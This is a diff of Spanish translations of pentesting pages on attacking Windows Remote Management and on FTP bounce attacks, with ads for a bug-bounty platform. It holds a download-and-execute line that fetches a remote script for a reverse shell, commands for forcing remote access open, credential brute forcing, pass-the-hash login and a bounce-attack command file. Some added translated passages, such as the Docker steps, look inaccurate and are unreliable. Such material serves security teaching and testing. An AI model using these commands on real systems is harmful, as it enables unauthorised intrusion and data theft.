wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
|
||||
```
|
||||
### Prueba si está configurado
|
||||
### Comprobar si está configurado
|
||||
|
||||
Una vez que la máquina de ataque esté configurada, utiliza la función `Test-WSMan` para comprobar si el objetivo está configurado para WinRM. Deberías ver información devuelta sobre la versión del protocolo y wsmid:
|
||||
Una vez que la máquina de ataque esté configurada, usa la función `Test-WSMan` para comprobar si el objetivo está configurado para WinRM. Deberías ver información devuelta sobre la versión del protocolo y wsmid:
|
||||
|
||||
![](<../.gitbook/assets/image (161) (1).png>)
|
||||
|
||||
|
@ -67,61 +67,27 @@ En este caso, el primero está configurado y el segundo no lo está.
|
|||
|
||||
### Ejecutar un comando
|
||||
|
||||
Ahora podemos utilizar el comando `Invoke-Command` de PowerShell para ejecutar de forma remota un comando en el objetivo a través de WinRM. Para ejecutar de forma remota `ipconfig` y ver la salida:
|
||||
Ahora podemos usar `Invoke-Command` de PowerShell para ejecutar remotamente un comando en el objetivo a través de WinRM. Para ejecutar remotamente `ipconfig` y ver la salida:
|
||||
```
|
||||
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
|
||||
```
|
||||
![](<../.gitbook/assets/image (163) (1).png>)
|
||||
|
||||
También puedes **ejecutar un comando de tu consola PS actual a través de** _**Invoke-Command**_. Supongamos que tienes localmente una función llamada _**enumeration**_ y quieres **ejecutarla en un equipo remoto**, puedes hacerlo de la siguiente manera:
|
||||
También puedes **ejecutar un comando de tu consola de PS actual a través de** _**Invoke-Command**_. Supongamos que tienes localmente una función llamada _**enumeration**_ y quieres **ejecutarla en un ordenador remoto**, puedes hacerlo:
|
||||
```ruby
|
||||
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
|
||||
```
|
||||
### Ejecutar un Script
|
||||
|
||||
To execute a script using WinRM, you can use the `Invoke-Command` cmdlet. This cmdlet allows you to run commands or scripts on remote computers.
|
||||
|
||||
```powershell
|
||||
Invoke-Command -ComputerName <target> -ScriptBlock { <script> }
|
||||
```
|
||||
|
||||
Replace `<target>` with the IP address or hostname of the target machine, and `<script>` with the path to the script you want to execute.
|
||||
|
||||
For example, to execute a PowerShell script named `script.ps1` on a remote machine with the IP address `192.168.0.100`, you would use the following command:
|
||||
|
||||
```powershell
|
||||
Invoke-Command -ComputerName 192.168.0.100 -ScriptBlock { C:\path\to\script.ps1 }
|
||||
```
|
||||
|
||||
This will execute the script on the remote machine and return the output to your local machine.
|
||||
|
||||
Keep in mind that you need appropriate permissions and credentials to execute scripts on remote machines.
|
||||
```ruby
|
||||
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
|
||||
```
|
||||
### Obtener una shell inversa
|
||||
|
||||
Una shell inversa es una técnica utilizada en la pentesting para obtener acceso remoto a un sistema comprometido. Permite al atacante ejecutar comandos en el sistema objetivo desde su propia máquina.
|
||||
|
||||
Para obtener una shell inversa a través de WinRM, puedes seguir los siguientes pasos:
|
||||
|
||||
1. Configura un servidor de escucha en tu máquina local. Puedes usar herramientas como `netcat` o `ncat` para esto.
|
||||
|
||||
2. Genera un payload malicioso que establezca una conexión de shell inversa. Puedes usar herramientas como `msfvenom` para crear el payload.
|
||||
|
||||
3. Envía el payload al sistema objetivo a través de WinRM. Puedes usar herramientas como `Invoke-WebRequest` o `curl` para esto.
|
||||
|
||||
4. Una vez que el payload se ejecute en el sistema objetivo, se establecerá una conexión de shell inversa con tu máquina local.
|
||||
|
||||
5. Ahora puedes ejecutar comandos en el sistema objetivo desde tu máquina local a través de la shell inversa.
|
||||
|
||||
Recuerda que el uso de técnicas de hacking como la obtención de una shell inversa sin el consentimiento explícito del propietario del sistema objetivo es ilegal y puede tener consecuencias legales graves. Solo debes realizar estas acciones en sistemas que tengas permiso para probar o en entornos controlados para fines educativos.
|
||||
### Obtener shell inverso
|
||||
```ruby
|
||||
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
|
||||
```
|
||||
### Obtener una sesión de PS
|
||||
|
||||
O, si quieres ingresar directamente a una sesión interactiva de PowerShell, utiliza la función `Enter-PSSession`:
|
||||
O, si deseas ingresar directamente a una sesión interactiva de PowerShell, utiliza la función `Enter-PSSession`:
|
||||
```powershell
|
||||
#If you need to use different creds
|
||||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||||
|
@ -140,17 +106,17 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
|
|||
```
|
||||
![](<../.gitbook/assets/image (164).png>)
|
||||
|
||||
**La sesión se ejecutará en un nuevo proceso (wsmprovhost) dentro de la "víctima"**
|
||||
**La sesión se ejecutará en un nuevo proceso (wsmprovhost) dentro del "equipo víctima"**
|
||||
|
||||
### **Forzando la apertura de WinRM**
|
||||
### **Forzando la Apertura de WinRM**
|
||||
|
||||
Si realmente quieres usar PS Remoting y WinRM pero el objetivo no está configurado para ello, puedes "forzarlo" a través de un solo comando. No recomendaría esto, pero si realmente quieres usar WinRM o PSRemoting, hazlo de esta manera. Por ejemplo, usando PSExec:
|
||||
Si realmente deseas utilizar PS Remoting y WinRM pero el objetivo no está configurado para ello, puedes "forzarlo" a través de un solo comando. No recomendaría esto, pero si realmente deseas usar WinRM o PSRemoting, hazlo de esta manera. Por ejemplo, utilizando PSExec:
|
||||
```
|
||||
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
|
||||
```
|
||||
Ahora podemos ingresar a una sesión de PS remota en la víctima.
|
||||
Ahora podemos ingresar a una sesión remota de PS en la víctima.
|
||||
|
||||
### Guardando y restaurando sesiones
|
||||
### Guardar y Restaurar sesiones
|
||||
|
||||
Esto **no funcionará** si el **idioma** está **restringido** en la computadora remota.
|
||||
```ruby
|
||||
|
@ -172,33 +138,31 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
|
|||
|
||||
Si encuentras el siguiente error:
|
||||
|
||||
`enter-pssession : Error al conectar con el servidor remoto 10.10.10.175 con el siguiente mensaje de error: El cliente WinRM no puede procesar la solicitud. Si el esquema de autenticación es diferente de Kerberos, o si el equipo cliente no está unido a un dominio, entonces se debe utilizar el transporte HTTPS o la máquina de destino debe agregarse a la configuración de TrustedHosts. Utiliza winrm.cmd para configurar TrustedHosts. Ten en cuenta que las computadoras en la lista de TrustedHosts pueden no estar autenticadas. Puedes obtener más información al ejecutar el siguiente comando: winrm help config. Para obtener más información, consulta el tema de ayuda about_Remote_Troubleshooting.`
|
||||
`enter-pssession : La conexión al servidor remoto 10.10.10.175 falló con el siguiente mensaje de error: El cliente WinRM no puede procesar la solicitud. Si el esquema de autenticación es diferente de Kerberos, o si la computadora cliente no está unida a un dominio, entonces se debe usar el transporte HTTPS o la máquina de destino debe ser agregada a la configuración de TrustedHosts. Utiliza winrm.cmd para configurar TrustedHosts. Ten en cuenta que las computadoras en la lista de TrustedHosts podrían no estar autenticadas. Puedes obtener más información al respecto ejecutando el siguiente comando: winrm help config. Para más información, consulta el tema de Ayuda sobre Solución de problemas remotos.`
|
||||
|
||||
La solución en el cliente (información de [aquí](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
|
||||
```ruby
|
||||
winrm quickconfig
|
||||
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!
|
||||
|
||||
**Obtén recompensas sin demoras**\
|
||||
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
|
||||
**Perspectivas de Hacking**\
|
||||
Participa en contenido que explora la emoción y los desafíos del hacking
|
||||
|
||||
**Obtén experiencia en pentesting web3**\
|
||||
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
|
||||
**Noticias de Hacking en Tiempo Real**\
|
||||
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real
|
||||
|
||||
**Conviértete en la leyenda del hacker web3**\
|
||||
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
|
||||
**Últimos Anuncios**\
|
||||
Mantente informado sobre los nuevos programas de recompensas por bugs y actualizaciones importantes de plataformas
|
||||
|
||||
[**Regístrate en HackenProof**](https://hackenproof.com/register) ¡comienza a ganar con tus hacks!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
|
||||
|
||||
## Conexión WinRM en Linux
|
||||
|
||||
### Fuerza bruta
|
||||
### Fuerza Bruta
|
||||
|
||||
Ten cuidado, hacer fuerza bruta en WinRM podría bloquear a los usuarios.
|
||||
```ruby
|
||||
|
@ -213,26 +177,6 @@ crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionT
|
|||
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
|
||||
```
|
||||
### Usando evil-winrm
|
||||
|
||||
Evil-winrm es una herramienta de línea de comandos que se utiliza para realizar pruebas de penetración en servicios de Windows Remote Management (WinRM). Esta herramienta aprovecha las debilidades en la configuración de WinRM para obtener acceso no autorizado a sistemas remotos.
|
||||
|
||||
Para utilizar evil-winrm, primero debes instalarlo en tu máquina de ataque. Puedes hacerlo ejecutando el siguiente comando:
|
||||
|
||||
```
|
||||
gem install evil-winrm
|
||||
```
|
||||
|
||||
Una vez que hayas instalado evil-winrm, puedes usarlo para establecer una conexión con un sistema remoto. Para hacerlo, debes proporcionar la dirección IP del sistema objetivo, así como las credenciales de autenticación. Puedes usar el siguiente comando:
|
||||
|
||||
```
|
||||
evil-winrm -i <IP_address> -u <username> -p <password>
|
||||
```
|
||||
|
||||
Reemplaza `<IP_address>` con la dirección IP del sistema objetivo, `<username>` con el nombre de usuario válido y `<password>` con la contraseña correspondiente.
|
||||
|
||||
Una vez que hayas establecido una conexión exitosa, podrás ejecutar comandos en el sistema remoto y obtener acceso a sus recursos. Ten en cuenta que el uso de evil-winrm para acceder a sistemas sin autorización es ilegal y solo debe realizarse con el permiso del propietario del sistema.
|
||||
|
||||
Evil-winrm es una herramienta poderosa que puede ayudarte a identificar y explotar vulnerabilidades en los servicios de WinRM. Sin embargo, es importante utilizarla de manera ética y responsable, siguiendo las leyes y regulaciones aplicables.
|
||||
```ruby
|
||||
gem install evil-winrm
|
||||
```
|
||||
|
@ -246,35 +190,21 @@ Para usar evil-winrm para conectarse a una **dirección IPv6**, crea una entrada
|
|||
```ruby
|
||||
evil-winrm -u <username> -H <Hash> -i <IP>
|
||||
```
|
||||
![](<../.gitbook/assets/image (173).png>)
|
||||
|
||||
### Usando una máquina PS-docker
|
||||
|
||||
La técnica de PS-docker es una forma eficaz de realizar pruebas de penetración en servicios de red que utilizan el protocolo WinRM. WinRM es un protocolo de administración remota de Windows que permite a los administradores controlar y administrar sistemas Windows de forma remota.
|
||||
En lugar de ejecutar comandos de PowerShell directamente en la máquina de destino, también puede usar una máquina Docker con PowerShell instalado para ejecutar comandos de forma remota. Esto puede ser útil para evitar dejar rastros en la máquina de destino. Aquí hay un ejemplo de cómo hacerlo:
|
||||
|
||||
Para utilizar PS-docker, primero debes tener instalado Docker en tu máquina. Docker es una plataforma de contenedores que te permite empaquetar y distribuir aplicaciones en un entorno aislado. Una vez que hayas instalado Docker, puedes seguir los siguientes pasos:
|
||||
1. Cree una imagen Docker con PowerShell instalado:
|
||||
```bash
|
||||
docker build -t ps-docker .
|
||||
```
|
||||
|
||||
1. Descarga la imagen de Docker que contiene PowerShell y WinRM. Puedes encontrar imágenes de Docker preconfiguradas en el repositorio de Docker Hub.
|
||||
2. Ejecute un contenedor basado en la imagen recién creada:
|
||||
```bash
|
||||
docker run -it ps-docker
|
||||
```
|
||||
|
||||
2. Crea un contenedor a partir de la imagen descargada. Puedes hacerlo ejecutando el siguiente comando en tu terminal:
|
||||
|
||||
```plaintext
|
||||
docker run -it --name winrm-container -p 5985:5985 -p 5986:5986 <nombre-de-la-imagen>
|
||||
```
|
||||
|
||||
Este comando crea un contenedor con el nombre "winrm-container" y mapea los puertos 5985 y 5986 del contenedor a los mismos puertos en tu máquina local.
|
||||
|
||||
3. Una vez que el contenedor esté en funcionamiento, puedes conectarte a él utilizando PowerShell remoto. Ejecuta el siguiente comando en tu terminal:
|
||||
|
||||
```plaintext
|
||||
Enter-PSSession -ComputerName <dirección-IP> -Port 5985 -Credential (Get-Credential)
|
||||
```
|
||||
|
||||
Reemplaza `<dirección-IP>` con la dirección IP de tu máquina local.
|
||||
|
||||
4. Ahora estás conectado al contenedor y puedes utilizar PowerShell para realizar pruebas de penetración en el servicio WinRM.
|
||||
|
||||
Recuerda que al utilizar PS-docker, estás ejecutando comandos en un entorno aislado, lo que significa que cualquier cambio o daño que hagas solo afectará al contenedor y no a tu máquina local. Esto hace que PS-docker sea una opción segura y conveniente para realizar pruebas de penetración en servicios de red.
|
||||
3. Una vez dentro del contenedor, puede ejecutar comandos de PowerShell como lo haría normalmente en una máquina Windows.
|
||||
```
|
||||
docker run -it quickbreach/powershell-ntlm
|
||||
$creds = Get-Credential
|
||||
|
@ -282,13 +212,14 @@ Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential
|
|||
```
|
||||
### Usando un script de ruby
|
||||
|
||||
Código extraído de aquí: [https://alamot.github.io/winrm\_shell/](https://alamot.github.io/winrm\_shell/)
|
||||
**Código extraído de aquí: [https://alamot.github.io/winrm\_shell/](https://alamot.github.io/winrm\_shell/)**
|
||||
```ruby
|
||||
require 'winrm-fs'
|
||||
|
||||
# Author: Alamot
|
||||
# To upload a file type: UPLOAD local_path remote_path
|
||||
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
|
||||
# https://alamot.github.io/winrm_shell/
|
||||
|
||||
|
||||
conn = WinRM::Connection.new(
|
||||
|
@ -380,31 +311,33 @@ Name: Hydra Brute Force
|
|||
Description: Need User
|
||||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Obtén recompensas sin demoras**\
|
||||
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
|
||||
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores.
|
||||
|
||||
**Obtén experiencia en pentesting web3**\
|
||||
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
|
||||
**Perspectivas de Hacking**\
|
||||
Participa en contenido que explora la emoción y los desafíos del hacking.
|
||||
|
||||
**Conviértete en la leyenda del hacker web3**\
|
||||
Gana puntos de reputación con cada error verificado y conquista la cima de la tabla de clasificación semanal.
|
||||
**Noticias de Hacking en Tiempo Real**\
|
||||
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real.
|
||||
|
||||
[**Regístrate en HackenProof**](https://hackenproof.com/register) ¡comienza a ganar con tus hacks!
|
||||
**Últimos Anuncios**\
|
||||
Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones cruciales de la plataforma.
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ¡y comienza a colaborar con los mejores hackers hoy!
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,165 +1,52 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Resumen
|
||||
|
||||
Si tienes acceso a un servidor FTP bounce, puedes hacer que solicite archivos de otro servidor FTP \(donde conoces algunas credenciales\) y descargar ese archivo a tu propio servidor.
|
||||
Si tienes acceso a un servidor FTP de rebote, puedes hacer que solicite archivos de otro servidor FTP \(donde conozcas algunas credenciales\) y descargar ese archivo en tu propio servidor.
|
||||
|
||||
## Requisitos
|
||||
|
||||
Credenciales válidas de FTP en el servidor FTP Intermedio
|
||||
Credenciales válidas de FTP en el servidor FTP Víctima
|
||||
Ambos servidores aceptan el comando PORT \(ataque FTP bounce\)
|
||||
Puedes escribir dentro de algún directorio del servidor FTP Intermedio
|
||||
El servidor intermedio tendrá más acceso dentro del servidor FTP Víctima que tú por alguna razón \(esto es lo que vas a explotar\)
|
||||
- Credenciales válidas de FTP en el servidor FTP intermedio
|
||||
- Credenciales válidas de FTP en el servidor FTP víctima
|
||||
- Ambos servidores aceptan el comando PORT \(ataque de rebote FTP\)
|
||||
- Puedes escribir dentro de algún directorio del servidor FTP intermedio
|
||||
- El servidor intermedio tendrá más acceso dentro del Servidor FTP Víctima que tú por alguna razón \(esto es lo que vas a explotar\)
|
||||
|
||||
## Pasos
|
||||
|
||||
1. Conéctate a tu propio servidor FTP y haz que la conexión sea pasiva \(comando pasv\) para que escuche en un directorio donde el servicio de la víctima enviará el archivo
|
||||
2. Crea el archivo que va a enviar el servidor FTP Intermedio al servidor Víctima \(el exploit\). Este archivo será un texto plano con los comandos necesarios para autenticarse contra el servidor Víctima, cambiar el directorio y descargar un archivo a tu propio servidor.
|
||||
3. Conéctate al servidor FTP Intermedio y sube el archivo anterior
|
||||
4. Haz que el servidor FTP Intermedio establezca una conexión con el servidor víctima y envíe el archivo de exploit
|
||||
1. Conéctate a tu propio servidor FTP y haz que la conexión sea pasiva \(comando pasv\) para que escuche en un directorio donde el servicio víctima enviará el archivo
|
||||
2. Crea el archivo que va a enviar el servidor FTP intermedio al servidor Víctima \(el exploit\). Este archivo será un texto plano con los comandos necesarios para autenticarse contra el servidor Víctima, cambiar el directorio y descargar un archivo en tu propio servidor.
|
||||
3. Conéctate al Servidor FTP Intermedio y sube el archivo anterior
|
||||
4. Haz que el servidor FTP Intermedio establezca una conexión con el servidor víctima y envíe el archivo de explotación
|
||||
5. Captura el archivo en tu propio servidor FTP
|
||||
6. Elimina el archivo de exploit del servidor FTP Intermedio
|
||||
6. Elimina el archivo de explotación del servidor FTP Intermedio
|
||||
|
||||
Para obtener más información detallada, consulta la publicación: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
|
||||
|
||||
|
||||
Toda la información de este post fue extraída de: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
|
||||
|
||||
# El Ataque FTP Bounce
|
||||
|
||||
Este discute uno de los muchos posibles usos del "ataque de rebote del servidor FTP". El mecanismo utilizado es probablemente bien conocido, pero hasta la fecha el interés en detallarlo o solucionarlo parece bajo o inexistente. Este ejemplo particular demuestra otra forma en la que la mayoría de las "restricciones de exportación" impuestas electrónicamente son completamente inútiles y triviales de eludir. Se elige en un esfuerzo por hacer que el lector se dé cuenta de que hay algunos aspectos realmente mal concebidos del protocolo FTP estándar.
|
||||
|
||||
Gracias también a Alain Knaff en imag.fr por una breve pero entretenida discusión sobre algunos de estos temas hace un par de meses que me hizo pensar más profundamente sobre ellos.
|
||||
|
||||
## El motivo
|
||||
|
||||
Eres un usuario en foreign.fr, con dirección IP F.F.F.F, y quieres recuperar el código fuente criptográfico de crypto.com en EE. UU. El servidor FTP en crypto.com está configurado para permitir tu conexión, pero denegar el acceso a las fuentes criptográficas porque tu dirección IP de origen es la de un sitio no estadounidense \[según lo que su servidor FTP puede determinar del DNS, eso es\]. En cualquier caso, no puedes recuperar directamente lo que deseas del servidor de crypto.com.
|
||||
|
||||
Sin embargo, crypto.com permitirá que ufred.edu descargue las fuentes criptográficas porque ufred.edu también está en EE. UU. Resulta que sabes que /incoming en ufred.edu es un directorio de escritura mundial en el que cualquier usuario anónimo puede depositar archivos y recuperarlos. La dirección IP de crypto.com es C.C.C.C.
|
||||
|
||||
## El ataque
|
||||
|
||||
Esto asume que tienes un servidor FTP que hace modo pasivo. Abre una conexión FTP a la dirección IP real de tu propia máquina \[no localhost\] e inicia sesión. Cambia a un directorio conveniente al que tengas acceso de escritura, y luego haz:
|
||||
```text
|
||||
pasv
|
||||
stor foobar
|
||||
```
|
||||
Toma nota de la dirección y el puerto que se devuelven del comando PASV, F,F,F,F,X,X. Esta sesión de FTP ahora se colgará, así que minimízala o cambia a otra ventana o algo para continuar con el resto de esto.
|
||||
|
||||
Construye un archivo que contenga comandos del servidor FTP. Llamemos a este archivo "`instrs`". Se verá así:
|
||||
```text
|
||||
user ftp
|
||||
pass -anonymous@
|
||||
cwd /export-restricted-crypto
|
||||
type i
|
||||
port F,F,F,F,X,X
|
||||
retr crypto.tar.Z
|
||||
quit
|
||||
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
|
||||
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
|
||||
...
|
||||
```
|
||||
```
|
||||
Abre una conexión FTP a ufred.edu, inicia sesión de forma anónima y cambia al directorio /incoming. Ahora escribe lo siguiente en esta sesión de FTP, lo que transfiere una copia de tu archivo "`instrs`" y luego le indica al servidor FTP de ufred.edu que se conecte al servidor FTP de crypto.com utilizando tu archivo como los comandos:
|
||||
```
|
||||
```text
|
||||
put instrs
|
||||
port C,C,C,C,0,21
|
||||
retr instrs
|
||||
```
|
||||
`Crypto.tar.Z` ahora debería aparecer como "`foobar`" en tu máquina a través de tu primera conexión FTP. Si la conexión con ufred.edu no se cerró por sí misma debido a un error común del servidor, limpia eliminando "`instrs`" y saliendo. De lo contrario, tendrás que reconectar para terminar.
|
||||
|
||||
## Discusión
|
||||
|
||||
Hay varias variantes de esto. Tu conexión de escucha PASV se puede abrir en cualquier máquina a la que tengas acceso de escritura de archivos: la tuya, otra conexión a ufred.edu o en algún lugar completamente no relacionado. De hecho, ni siquiera tiene que ser un servidor FTP: cualquier utilidad que escuche en un puerto TCP conocido y lea datos en bruto de él en un archivo servirá. Una conexión de datos FTP en modo pasivo es simplemente una forma conveniente de hacer esto.
|
||||
|
||||
Los nulos adicionales al final del archivo de comandos son para llenar las ventanas TCP en ambos extremos de la conexión ufred -> crypto y asegurar que la conexión de comandos permanezca abierta el tiempo suficiente para que se ejecute toda la sesión. De lo contrario, la mayoría de los servidores FTP tienden a abortar todas las transferencias y el procesamiento de comandos cuando la conexión de control se cierra prematuramente. El tamaño de los datos es suficiente para llenar tanto las ventanas de recepción como de transmisión, que en algunos sistemas operativos son bastante grandes \[del orden de 30K\]. Puedes reducir esto si conoces qué sistemas operativos están en cada extremo y la suma de sus tamaños de ventana TCP predeterminados. Se divide en líneas de 250 caracteres para evitar desbordar los búferes de comandos en el servidor objetivo, probablemente académico ya que ya le dijiste al servidor que se cerrara.
|
||||
|
||||
Si crypto.com prohíbe \*cualquier\* conexión de cliente FTP desde ti en foreign.fr y necesitas ver qué archivos están dónde, siempre puedes poner "`list -aR`" en tu archivo de comandos y obtener un listado de directorios de todo el árbol a través de ufred.
|
||||
|
||||
Puede que tengas que recuperar tu archivo de comandos al servidor FTP del objetivo en modo ASCII en lugar de modo binario. Algunos servidores FTP pueden manejar nuevas líneas en bruto, pero otros pueden necesitar líneas de comandos terminadas por pares CRLF. Ten esto en cuenta también al recuperar archivos a demonios que no sean servidores FTP.
|
||||
|
||||
## Otras posibilidades
|
||||
|
||||
A pesar de que tales conexiones de terceros son solo de un sentido, se pueden usar para todo tipo de cosas. Métodos similares se pueden usar para publicar correos y noticias prácticamente imposibles de rastrear, atacar servidores en varios sitios, llenar discos, intentar saltar firewalls y, en general, ser molesto y difícil de rastrear al mismo tiempo. Un poco de reflexión traerá la realización de numerosas otras posibilidades aterradoras.
|
||||
|
||||
Las conexiones lanzadas de esta manera provienen del puerto de origen 20, que algunos sitios permiten a través de sus firewalls en un esfuerzo por lidiar con el problema de "datos de ftp". Para algunos propósitos, esto puede ser lo mejor después de los ataques con ruta de origen, y es probable que tenga éxito donde el enrutamiento de origen falla contra los filtros de paquetes. Y todo esto es posible gracias a la forma en que se escribió la especificación del protocolo FTP, permitiendo que las conexiones de control provengan de cualquier lugar y que las conexiones de datos vayan a cualquier lugar.
|
||||
|
||||
## Defensas
|
||||
|
||||
